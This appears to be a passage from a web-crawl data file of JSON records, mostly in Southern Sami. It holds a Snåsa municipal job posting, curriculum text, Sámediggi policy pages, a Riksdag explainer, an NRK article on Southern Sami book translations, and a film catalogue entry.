kuvsjh leah vaajteles. Tjuara veanhtadidh meatan årrodh tjïelten riejriesvoetesne.\nTjïelte meatan gelline ovmessie prosjektine mah leah digitaliseradimmien bïjre dïenesjijstie juktie buerebe dïenesjh vedtedh årroejidie. Sjyöhtehke daajroe jïh ïedtje daatan jïh digitaliseradimmien bïjre lea vaajteles men ij akte krïevenasse. Sijhtebe leavloem bïejedh persovneles sjiehtelesvoetese.\nVielie bïevnesh barkoen bïjre åadtjoeh jis soptsesth tjïelteåvtehkinie Are Tomter tell\n992 71 015 jallh barkoeåvtehkinie Jon Martin Seem tell. 452 44 849.\nOhtseme seedtesåvva elektrovneles goeresne. Ohtsememierie 10.08.20\nFagarbeider \/ Spesialarbeider\nVed driftsavdelingen i Snåsa Kommune, vil det fra september 2020 bli ledig fast inntil hel stilling for fagarbeider \/ spesialarbeider.\nArbeidsoppgaver vil i hovedsak være vedlikehold og tilsyn kommunalt vegnett, vann og avløpsnett, kommunale bygg og annet drifts- og vedlikeholdsarbeid på anlegg i kommunen.\nRelevant fagbrev er ønskelig, men andre med relevant erfaring kan også søke. Hvis det kommer søkere med spesiell kompetanse, så kan det bli aktuelt med intern rokering.\nStillingen sorterer under Utviklingsenheten.\nDen som tilsettes må ha førerkort for bil og eventuelt kunne disponere egen bil i tjenesten. Førerkort klasse C er ønskelig. Også andre relevante kurs er ønskelig. Deltagelse i kommunens beredskap må påregnes.\nKommunen er med i mange forskjellige prosjekter som handler om digitalisering av tjenester for å yte bedre service til innbyggerne. Relevant kunnskap og interesse rundt data og digitalisering er ønskelig, men ikke et krav. Personlig egnethet vil bli vektlagt.\nNærmere opplysninger om stillingen fås ved henvendelse til kommunalsjef Are Tomter på tlf. 992 71 015, eller arbeidsformann Jon Martin Seem tlf. 452 44 849.\nSøknad sendes på elektronisk skjema. Søknadsfrist 10.08.20.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.snasa.kommune.no\/tjenester\/ledige-stillinger\/faagebarkije-sjierebarkije-fagarbeider-spesialarbeider.11012.aspx","date":"2020-08-08T14:34:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439737883.59\/warc\/CC-MAIN-20200808135620-20200808165620-00320.warc.gz","language":"sma","language_score":0.9893584251,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9893584251403809}","num_words":319,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.063,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n-\nMaahtaldahkeulmieh\n- Maahtoeulmie 2. jaepiedaltesen mænngan\n- Maahtoeulmie 4.jaepiedaltesen mænngan\n- Maahtoeulmie 7. jaepiedaltesen mænngan\n- Maahtoeulmie 10.jaepiedaltesen mænngan\n- Maahtoeulmie Jåa1 mænngan- studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa1 mænngan – barkoefaageles ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa3 mænngan- lissiebigkeme sïejhme studijemaahtose\n- Faagem vierhtiedidh\nFaagen maadth maahtoeh\nVihkeles tjiehpiesvoeth leah sjïehtesjamme maahtoeulmine, gusnie dah viehkiehtieh faagemaahtoem evtiedidh jïh mestie dah akte bielie. Eatnemefaagesne guarkebe vihkeles tjiehpiesvoeth naemhtie:\nNjaalmeldh tjiehpiesvoeth eatnemefaagesne lea goltelidh, håaledh jïh soptsestidh juktie buerkiestidh, juekedh jïh daajroem eatnemefaageles sisveginie evtiedidh mah leah vïhtesjimmiej jïh dååjrehtimmiej bïjre. Daate sæjhta jiehtedh eatnemefaageles dïejvesh nuhtjedh juktie daajroem leerehtidh jïh gyhtjelassh, argumentasjovnh jïh buerkiestimmieh darjodh. Edtja aaj maehtedh soptsestimmievuekiem, dïejvesh jïh vuesiehtimmieh sjïehtedidh åssjelasse jïh dåastoejidie. Evtiedimmie njaalmeldh tjiehpiesvoetijste eatnemefaagesne lea maehtedh goltelidh jïh soptsestidh dååjresi jïh vïhtesjimmiej bïjre, jïh ahkedh vielie gïerve aamhtesh åehpiedehtedh jïh digkiedidh. Edtja jiene-jienebe eatnemefaageles dïejvesh nuhtjedh juktie soptsestidh satne guarkeme, jïjtse vuarjasjimmieh utnedh jïh meatan årrodh faageles digkiedimmine.\nMaehtedh tjaeledh eatnemefaagesne lea eatnemefaageles teekstesjangerh nuhtjedh juktie gyhtjelassh jïh hypoteesh darjodh, soejkesjh jïh buerkiestimmieh tjaeledh, viertiestidh jïh ussjedidh bïevnesi bïjre, jïh gaaltijh maereleslaakan nuhtjedh. Edtja vïhtesjimmieh jïh dååjrehtimmieh buerkiestidh, bïevnesh tjåanghkan giesedh, vuajnoeh argumenteradidh jïh feeltebarkoste, eksperimentijste jïh teknologeles evtiedimmieprosessijste reektedh. Tjaelemeprosesse soejkesjimmien raejeste gïetedimmien jïh åehpiedehtemen raajan tjaalegijstie, sæjhta jiehtedh learohke tjuara eatnemefaageles dïejvesh, goerh jïh symbovlh nuhtjedh mah leah åssjelasse jïh dåastoejasse sjïehtedamme. Evtiedimmie tjaelemetjiehpiesvoetijste eatnemefaagesne lea maehtedh aelhkie soptsestimmievuekieh nuhtjedh goske ånnetji ånnetji aalka vielie veele eatnemefaageles dïejvesh, symbovlh, grafihkh jïh argumentasjovnh nuhtjedh. Edtja maehtedh ahkedh vielie gïerve tjaalegh tjaeledh, jïh laejhtehkslaakan jïh jeereldihkie gaaltijidie nuhtjedh mah leah åssjelasse jïh dåastoejasse sjïehtedamme.\nMaehtedh lohkedh eatnemefaagesne lea guarkedh jïh nuhtjedh eatnemefaageles dïejvesh, symbovlh, goerh jïh argumenth ulmiestuvreldh barkoen tjirrh, eatnemefaageles tjaalegigujmie. Edtja maehtedh damtijidh, toelhkestidh jïh bïevnesh nuhtjedh tjåanghkan bïejeme tjaalegijstie gærjine, plaerine, åtnoebïhkedimmine, njoelkedassine, brosjyrine jïh digitaale gaaltijinie. Lohkeme eatnemefaagesne lea laejhtehkslaakan vuarjasjidh guktie bïevnesh våajnoes dorjesuvvieh jïh åtnasuvvieh argumeentine, g.j. daataj, aerviedimmiej, jiehtegi, hypoteesi jïh vihtiestimmiej gaskem joekehtidh. Evtiedimmie lohkemetjiehpiesvoeteste eatnemefaagesne lea maehtedh gaavnedh jïh nuhtjedh bïevnesh aelhkie tjaaleginie, goske maahta tjaalegh guarkedh ahkedh jienebi faagedïejvesigujmie, symbovlh, goerh, tabellh jïh sjïere bïevnesh. Krïevenasse laejhtehks lohkemasse jïh maehtedh sjyöhtehke bïevnesh damtijidh jïh vuarjasjidh mejtie maahta gaaltijidie leajhtadidh læssene, dehtie miereste gosse maahta sjïehteladteme gaaltijh nuhtjedh, goske maahta ribledh jïh bïevnesh viertiestidh ovmessie gaaltijijstie, jïh vuarjasjidh man sjyöhtehke dah leah.\nMaehtedh ryöknedh eatnemefaagesne lea taalematerijellem ribledh, gïetedidh jïh vuesiehtidh. Edtja maehtedh dïejvesh, möölehtimmiedïrregh, möölegeektievoeth, formelh jïh grafihkem nuhtjedh. Ryökneme eatnemefaagesne lea aaj maehtedh viertiestidh, vuarjasjidh jïh argumenteradidh man reaktoe dah aerviedimmieh, illedahkh jïh vuesiehtimmieh leah. Evtiedimmie ryöknemetjiehpiesvoetijste eatnemefaagesne lea maehtedh aelhkie vuekieh nuhtjedh juktie ryöknedh jïh öörnegen mietie bïejedh, goske maahta vuarjasjidh veeljeme vuekijste, dïejvesijstie, formelijstie jïh möölehtimmiedïrregijstie. Edtja aaj maehtedh ahkedh giervebe vuesiehtimmieh jïh vuarjasjimmieh darjodh, jïh ryöknemem nuhtjedh faageles argumentasjovnesne.\nDigitaale tjiehpiesvoeth eatnemefaagesne lea digitaale dïrregh nuhtjedh juktie goerehtidh, vïhtesjadtedh, aerviedidh, visualiseradidh, vihtiestidh jïh åehpiedehtedh daatah jïjtse jïh mubpiej goerehtimmijste, voejhkelimmijste jïh feeltebarkoste. Edtja aaj maehtedh ohtsemedïrregh nuhtjedh, ohtsemevuekieh haalvedh jïh laejhtehkslaakan gaaltijh vuarjasjidh jïh sjyöhtehke bïevnesh veeljedh eatnemefaageles aamhtesi bïjre. Evtiedimmie digitaale tjiehpiesvoetijste eatnemefaagesne lea maehtedh digitaale dïrregh nuhtjedh goske ahkedh buerebelaakan maahta jïjtjeraarehke digitaale gaaltijh, dïrregh, meedijh jïh bïevnesh veeljedh jïh nuhtjedh.\nSide 4 Av 13","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.udir.no\/kl06\/NAT2-03\/Hele\/Grunnleggende_ferdigheter?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-09-19T09:35:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400191160.14\/warc\/CC-MAIN-20200919075646-20200919105646-00728.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":510,"character_repetition_ratio":0.104,"word_repetition_ratio":0.004,"special_characters_ratio":0.127,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mïrrestalleme tjoeli gaskemSaemiedigkie sæjhta mïrrestallije saemien siebriedahken åvteste barkedh seamma reaktajgujmie, dïedtigujmie jïh nuepiejgujmie gaajhkesidie. Våarome daan barkose lea mïrrestalleme lea gaajhki siebriedahkesuerkiej bïjre jïh dan åvteste akte sjïehtesjamme bielie mijjen barkoste. Saemiedigkie reektestimmiem tjoelemïrrestallemen bïjre nænnoesti 2012 (PDF, 205 kB). Reektestimmie ovmessie suerkieh digkede gusnie tjoele maahta heaptojne årrodh mïrrestallemasse. Såemies suerkieh bæjjese vaeltieh guktie edtjebe barkedh juktie tjoelesïerredimmiem heerredidh. Lissine reektestimmie såemies suerkieh jarngesne åtna goh tjoeleidentiteete, vædtsoesvoete lïhke fuelhkine jïh seksuelle legninge.Ulmie lea mïrrestalleme edtja meatan vaaltasovvedh gaajhkide politihkesuerkide Saemiedigkien barkosneDaate sæjhta jiehtedh mijjieh aareh gaajhkine politihkeles prosessine analyseradibie mah konsekvensh politihke maahta nyjsenæjjide jïh ålmide åadtjodh. Joekoen vaenie politihke lea aalkoelisnie tjoelenøytraale. Gosse politihkem hammode jïh sjæjsjalimmieh vaalta, tjoerebe krööhkestidh nyjsenæjjah jïh ålmah joekehtslaakan jielieh, joekehts krïevenassh, sjaavnjoeh jïh daerpiesvoeth utnieh. Ihke nyjsenæjjah jïh ålmah edtjieh seammalaakan gïetesovvedh lea dan åvteste daerpies ovmessie råajvarimmiejgujmie tjoelide. Vihkeles aaj dovne nyjsenæjjaj jïh ålmaj viehkie jïh barkoe våajnoes dorjesuvvieh jïh aarvoem åadtjoeh dejnie ovmessie politihkesuerkine.Mijjen mïrrestallemebarkosne aktem solidarihkeles dïedtem utnebe viehkiehtidh tsiehkiem aalkoealmetjidie bueriedidh mah sïerredimmiem dååjroeh sijjen tjoelen gaavhtan jeatjah lehkesne veartenisnie.Saemiedigkieraerie sæjhta stïeresne årrodh gaskenasjonaale areenine gusnie tjoelegyhtjelassh leah teema. Mijjieh aaj sïjhtebe tjoelesïerredimmiem våajnoes darjodh mijjen sïejhme gaskenasjonaale barkosne. Daate barkoe tjuara tjïelke ulmieh mijjen mïrrestallemepolitihkese utnedh, jïh akte årganiseradamme laavenjostoe aalkoealmetjegujni gaskem tjuara våaroeminie årrodh.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/mirrestalleme\/mirrestalleme-tjoeli-gaskem\/","date":"2020-10-30T15:59:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00132.warc.gz","language":"sma","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000000238418579}","num_words":208,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Etihkeles njoelkedassh saemien healsoedotkemasseNjoelkedassigujmie Saemiedigkie sæjhta gorredidh saemien healsoedotkeme lea vïedteldihkie aalkoeåålmegen reaktah jïjtjenænnoestæmman, jïh saemien kultuvren jïh saemien siebriedahki gellievoetem jïh jïjtsevoetem krööhkeste jïh seahkere. Saemien healsoedotkeme lea dotkemesuerkie mij varke sjïdteminie. Seamma tïjjen laakh jallh sïejhme dotkemeetihkeles njoelkedassh eah saemiej ektie reaktam jïjtjenænnoestæmman gorredh gosse daan såarhts dotkemen bïjre. Dan åvteste Saemiedigkien stoerretjåanghkoe Etihkeles njoelkedassh saemien healsoedotkemasse nænnoestamme. Saemien healsoedotkemisnie akte saemien, ektie jååhkesjimmie edtja gååvnesidh. Saemiedigkieraerie lea faamoem dagkeres jååhkesjæmman akten aamhtesemaehteles moenehtsasse vadteme. Lohkh etihkeles njoelkedassh saemien healsoedotkemasse (PDF, 191 kB)","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/maanavaarjelimmie-healsoe-jih-sosijaale\/saemien-healsoedotkemen-etihkeles-njoelkedassh\/","date":"2020-10-30T15:47:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00469.warc.gz","language":"sma","language_score":0.9999932051,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999932050704956}","num_words":84,"character_repetition_ratio":0.152,"word_repetition_ratio":0.0,"special_characters_ratio":0.114,"stopwords_ratio":0.214,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjïrrehtimmie saemien perspektijveste jollebe ööhpehtimmesne jïh dotkemisnieSaemiedigkie ulmine åtna saemien perspektijvem tjïrrehtidh sjyöhtehke ööhpehtimmine juktie viehkiehtidh maahtoedaerpiesvoetem saemien siebriedahkesne illedh. Saemiedigkien stoerretjåanghkoe aamhtesem «Profesjovneööhpehtimmie – tjïrrehtimmie saemien sisvegistie jïh dåårrehtimmie juktie maahtoedaerpiesvoetem illedh saemien siebriedahkesne» gïetedi goeven 2019. Dan åvteste jienebh rååresjimmieprosessh orreme mieriedimmiej bïjre mieriesoejkesji jïh nasjonaale njoelkedassi bïjre jollebe ööhpehtæmman. Daan raajan daate lohkehtæjjaööhpehtimmiej jïh healsoe- jïh sosijaalefaageööhpehtimmiej bïjre orreme mah gaajhkh rååresjimmiej tjïrrh reerenassine, saemien sisvegem åådtjeme. Saemiedigkie barka ihke reerenassen stuvremetjaatsegh ööhpehtimmieinstitusjovnide edtjieh stillemem vedtedh tjïrrehtimmien bïjre saemien sisvegistie mieriedimmien mietie mieriesoejkesji jïh nasjonaale njoelkedassi bïjre. Saemiedigkie sæjhta lissine soptsestimmiej tjïrrh ööhpehtimmieinstitusjovnigujmie, institusjovnide vuaptastehtedh dïedten bïjre saemien sisvegen åvteste profesjovneööhpehtimmine.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/jollebe-oohpehtimmie-jih-dotkeme\/tjirrehtimmie-saemien-perspektijveste-jollebe-oohpehtimmesne-jih-dotkemisnie\/","date":"2020-10-30T16:02:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00379.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":102,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.103,"stopwords_ratio":0.206,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Magkerh leah rijhkebiejjien laavenjassh? Rijhkebiejjie laagem buakta jih skaehtiej jih maaksoej bijre nännoste. Reerenassem jih åejvieladtjh guerehte jih aaj ålkoepolitihkerem vuartesje. Rijhkebiejjie maadteren mietie nännoestidh dah raerieh mah reerenasseste båetieh. Lohkh vielie daaroen: Detta ska riksdagen göra (lättläst) Riksdagen i samhället Riksdagen beslutar om lagar Riksdagen beslutar om statsbudgeten Riksdagen kontrollerar regeringen Magkerh laavenjassh reerenasse åtna? Reerenasse sveerjem tsavtsa jih lijrie. Reerenasse raeriem (propositioner) rijhkebeajjan vadta jih nännoeste dam maam rijhkebiejjie jeahteme. Dejnie barkojne reerenasse viehkiem dejstie dah ovmessie deepartimentijstie åadtjoeh, dah leah medtie 300 staaten åejvieladtjh. Lohkh vielie daaroen: Regeringens webbplats Gie maahta raeriem rijhkebeajjan vedtedh? Barre reerenasse, rijhkebiejjielihtsegh jih ovmessieh rijhkebiejjieåårganh raeride maehtieh rijhkebeajjan vedtedh. Reerenassen raerie gåhtje proposisjovnh, jih rijhkebiejjielihtsegidien raerie gåhtje modtsjovnh. Akte modtsjovne måedtien aejkien vuasteleraerie dan aktese proposisjovnese. Aajne almetjh jallh åårganisasjovnh nuepiem utnieh maehted tsevtsedh jih naaken dejstie rijhkebiejjiepartijistie jallh rijhkebiejjielihtsegijstie viehkiem åadtjoeh. Lohkh vielie daaroen: Så här arbetar riksdagen (lättläst) Riksdagen beslutar om lagar Mij lea moenehtse jih maam moenehtse dorje? Rijhkebiejjien moenehtse barkoedåehkieh lea, lihtsegh goerehtieh jih gaajhkh raeriem mah rijhkebeajjan båetieh. Moenehtse edtja jijtje raeriem tjiehtjelassese buektedh, moenehtse edtja aaj saerniestidh guktie ussjede tjiehtjele edtja dej ovmessieh gyhtjelasside nännoestidh. Luhkievijhte moenehtsh jih luhkietjijhtje rijhkebiejjielihtsegh fiernhnen moenehtsinie gååvnesieh. Seamma joekoen goh rijhkebiejjesne leah, dihte vuesehte man gellieh gielh fierhneh paartijh veeljemisnie åådtjeme. Fierhne moenehtse dietem dan sjiere dajven bijre utnieh. Ööhpetimmiemoenehtse maahta raerigujmie barkedh, mej gujmie skuvli bijre sjiehtele. Lohkh vielie daaroen: Det här gör utskotten (lättläst) Så arbetar utskotten","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/riksdagen.se\/sma-SE\/sprak\/other-languages\/aarjelsaemien-sydsamiska\/rijhkebiejjien-jih-reernassen-laavenjassh\/","date":"2020-12-05T12:11:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141747774.97\/warc\/CC-MAIN-20201205104937-20201205134937-00237.warc.gz","language":"sma","language_score":0.9998338819,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999833881855011}","num_words":238,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\/11: Aarebi dennie artihkelisnie tjåadtjoeji «Game of Thrones» gærjah maehtieh åarjelsaemien gïelem åabpedh. Daate lea båajhtede. Gærja goh åarjelsaemien gïelese jarkoestamme «Game of Thrones»-tjaelije George R. R. Martin tjaaleme, men ij leah meatan seamma gærjaraajrosne.\n– Sagke lustebe gærjah jïjtse ietniengïelesne lohkedh. Gosse lim onne ij lij dan gellie gærjah åarjelsaemien gïelesne. Dellie tjoerim gærjah nöörjen gïelesne lohkedh.\n16 jaepien båeries Hilma Dunfjeld Mølnvik dam jeahta, mij iktesth lyjhkeme gærjah lohkedh, men vaenie gærjah altese ietniengïelesne orreme.\nMen daelie daate jarkelimmesne. Daelie stoerre låhkoe gærjijste jïh magasijnijste, jarkoestamme åarjelsaemien gïelese, lea båateme.\n2013 raejeste låhkoe åarjelsaemien bæjhkoehtimmijste lea læssanamme 90 proseentine. Daate taalh Saemiedigkien gærjagåeteste vuesiehtieh mejtie NRK lea reebleme.\nDaate åarjelsaemien suksesse leah uvtemes akten laavenjostoen gaavhtan gaskem Trööndelagen fylhkengærjagåetie jïh saemien gïelejarngh Gïelem Nastedh jïh Gïelejarnge. Laavenjostoe eelki 2013.\nDïhte joekoen stoerre gærjaveahka dam 16 jaepien båeries baadtjohke lohkijem geerjehte mij veanhta daate maahta joekoen vihkele årrodh dan båetije boelvese.\n– Daelie saemien maanah nuepiem åadtjoeh gærjah lohkedh aarebi, åvtelen skuvlem aelkieh. Dellie maehtieh væjkalåbpoe sjïdtedh gïelem haalvedh, jïh dellie aaj aelhkebe sjædta gosse skuvlem aelkieh, Mølnvik jeahta.\nDagke gïelekodam «tjuavteme»\nÅarjelsaemien lea dej gïeli gaskem veartenisnie mij ryöknesåvva goh itjmies håvhtadihks, Unescon læstoe håvhtadihks gïeli bijjeli vuesehte. Daelie aervede vaenebh goh 1000 almetjh mah gïelem haalvoeh.\nDaan raajan lea vielie goh 100 gærjah jïh teeksth åarjelsaemien gïelese bæjhkoehtamme.\nGærjide jarkoste baadtjohke lohkijidie mah gelliesåarhts gærjah lyjhkoeh. Dennie håvhtadihks gïelesne gaajhkem gaavna, åehpies Disney-filmh goh Frost, klassihkerh goh Donald Duck jïh gærjam Jïjsefuemtie goh åehpies tjaelije mij aaj Game of Thrones tjeeli.\n–Almetjh gærjide hijvenlaakan dåastoeh, mijjieh hijven bïevnesh bååstede åadtjobe. Gosse daaletje gærjah jarkoestibie dellie aaj buektiehtibie jienebh gærjah darjodh.\nDam Hanne-Lena Wilks jeahta, biejjieladtje åvtehke åarjelsaemien gïelejarngesne Gïelem Nastedh. Dïhte veanhta jarkoestimmie gærjijste maahta vihkeles årrodh juktie gïelem åabpedh.\n–Daate vihkeles dåarjoe barkosne gïelem bååstede vaeltedh. Dellie daerpies ovmessie teekstigujmie ovmessie teemaj bïjre juktie baakoevåarhkoem evtiedidh. Jïh manne aaj vïenhtem såemies statusem vadta gosse mijjen leah gærjah jïjtjene gïelesne, tjïelkeste.\nNasjonaale Gïelevåhkoen sjïekenisnie Gïelem nastedh lea njieljie orre gærjah bæjhkoehtamme. Gïelevåhkoe öörnesåvva juktie saemien gïelem jïh kultuvrem våajnoes darjodh.\nGæmhpoeminie gïelem våajnoes darjodh\nHilma aaj eadtjohke gæmhpoje gïelen åvteste. Dïhte akte uktsie noerijste mah meatan prosjektesne Gïeleviehkie. Gïeleprosjekte gusnie doh noerh viehkine lustes boelhketjijstie Instagramesne åarjelsaemien våajnoes darjoeh.\nJalhts dïhte geerjene åarjelsaemien gærjah bïehtsegieh dle aktem sjaavnjoem jarkoestæjjide åtna.\n–Manne gaajhkh noeregærjah lohkeme mah leah åarjelsaemien gïelesne, men ij leah dan jeenjesh dejstie annje. Joekoen luste jïjtjene gïelesne lohkedh, guktie mov håhkoe lea jienebh noeregærjah båetieh.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.nrk.no\/sapmi\/gaerjam-_game-of-thrones_-tjaeliejasse-maahta-aarjelsaemien-gielem-aabpedh-1.15209097","date":"2021-01-25T11:17:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703565541.79\/warc\/CC-MAIN-20210125092143-20210125122143-00012.warc.gz","language":"sma","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000004768371582}","num_words":400,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Raastendåaresth maanagïerte- jïh skuvlelaavenjostoeSaemien parlamentarihkeles raerie (SPR) nænnoesti aamhtesisnie 07\/06, SPR:n aajkoe lea noerhtelaanti daltesisnie edtja aktem ektie ulmiem hammoedidh saemien lïerehtæmman, ektie learoesoejkesjh jïh learoevierhtieh mejtie maahta laanteraasti rastah nuhtjedh. Prosjekte raastendåaresth skuvlelaavenjostoen bïjre \"Rájáhis sámeoahpahus\" orriji goeven 2019 jïh reektehtse dorjesovvi prosjekten bïjre. Åejvieulmie reektehtsinie lea damtijidh jïh dååjrehtimmie jïh nuepieh tjöönghkedh jïh lissine vuesiehtimmieh gaavnedh guktie skuvlh leah tjirrehtamme jïh guktie maahta lïerehtimmielaavenjostoem Saepmesne tjïrrehtidh. Reektehtsisnie raeriestimmieh ovmessie råajvarimmiej bïjre, jïh Saemiedigkieraerie sæjhta gaskem jeatjah råajvarimmiem bæjjese fulkedh mah leah saemien lïeremeplakaaten\/bæjhkoehtimmien\/manifeesten bïjre. Saemien maanah jïh noerh abpe Saepmesne edtjieh reaktam utnedh lïerehtæmman saemiengïelesne jïh\/jallh saemien gïelelïerehtimmiem utnedh. Saemieh akte åålmege jïh laanteraasth eah edtjh heaptojne årrodh guktie mijjieh maehtebe mijjen kultuvrem, gïelem jïh mijjen jieledevuekiem nuhtjedh jïh evtiedidh. Saemiedigkie edtja noerhtelaanti barkoedåehkiem nammoehtidh mij edtja mandaatem utnedh raeriestimmieh buektedh akten ektiesaemien bæjhkoehtæmman saemien lïerehtimmien bïjre Saemien parlamentarihkeles raaran (SPR). Lohkh reektehtsem \"Rájáhis sámeoahpahus\/grenseløs samiskopplæring\" (PDF, 4 MB)","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/sametinget.no\/guhkiebasse-barkoe-nbs-ste-2016-18-vaajmoegiele\/raajvarimmieh-gielelutnjemisnie\/raajvarimmiesuerkie-gielefaalenasse-maanide-jih-noeride\/raastendaaresth-maanagierte-jih-skuvlelaavenjostoe\/","date":"2021-01-17T06:27:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703509973.34\/warc\/CC-MAIN-20210117051021-20210117081021-00260.warc.gz","language":"sma","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000022649765015}","num_words":148,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie Silje Karine Muotka (NSR)\nKenneth Hætta\nSaemiedigkie sæjhta doh voenges beapmoegåassoehtimmiesijjieh tjïeltine Karasjohke, Guovdageaidnu, Porsanger, Deatnu jïh Unjárga jarngese bïejedh.\nDaelie barkoe sïjsebïeljelimmine aalka sïelteevtiedimmieprogrammese Faamoe Lokalmat.\n– Mijjieh vuejnebe gellie sïelth Saepmesne nuepiem utnieh mïerhkevaaroem nænnoestidh jïh ekonomijegoerkesem lissiehtidh, seamma tïjjen goh sijjen viermiem nænnoestieh. Daate abpe konsepte Faamojne, Muotka jeahta.\nProgrammen ulmie lea voenges beapmoegåassoehtimmiesijjiej dïenestem lissiehtidh, jïh dejtie skraejriem vedtedh voenges beapmoeh lïhkebistie nuhtjedh. Koronapandemijen gaavhtan mijjieh voenges beapmoeh, beapmoejearsoesvoetem jïh beapmoeproduksjovnem jïh klijmam jïh byjresem vielie pryöjjadibie.\n– Dan åvtese daate prosjekte joekoen sjyöhtehke jïh daan tïjjese sjeahta, Muotka jeahta.\nDïhte veanhta doh voenges beapmoegåassoehtimmiesijjieh leah joekoen vihkele voenges seabradahkide, jïh vihkeles skraejrie årromelastoem sjugniedidh.Piadine med reinsdyrkjøtt, rødløk, tyttebærkremost og salat\nMarie Louise Somby, Árvu\n– Dah gaavnedimmiesijjiem seabradahkese vedtieh, voenges noeride hijven barkoedååjrehtimmiem vedtieh, barkoesijjieh sjugniedieh jïh fealadæjjide maam joem dehtie voenges saemien kultuvreste faalehtieh, Muotka jeahta.\nVisjona AS programmem Faamoe Lokalmat jåhta Saemiedigkien åvteste.\nJis gyhtjelassh jallh gihtjehtimmie, gaskesadth saemiedigkieraeriem Silje Karine Muotka (NSR), mob. +47 984 87 576, email@example.com","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/sametinget.no\/saernieh\/sielteevtiedimmieprogrammine-voenges-beapmoegaassoehtimmiesijjide-nearhka.12511.aspx","date":"2021-03-06T02:15:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178374217.78\/warc\/CC-MAIN-20210306004859-20210306034859-00467.warc.gz","language":"sma","language_score":0.9997516274,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999751627445221}","num_words":160,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Gaup, Ánte Mikkel Bertije Sámi oahpahusráđđi Vaadtasovvemejaepie 1990 Faage Eatnemefaage Båatsoe jïh design Saemien 1 Daltese 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Tïjje 00:25:00 Formaate VHS Reakta-aajhtere Sámi oahpahusráđđi Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Ijje Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Kultuvre Filme Aarhte jïh daajroe Byjrese Eatnemefaage Siebriedahke Skuvle jïh ööhpehtimmie 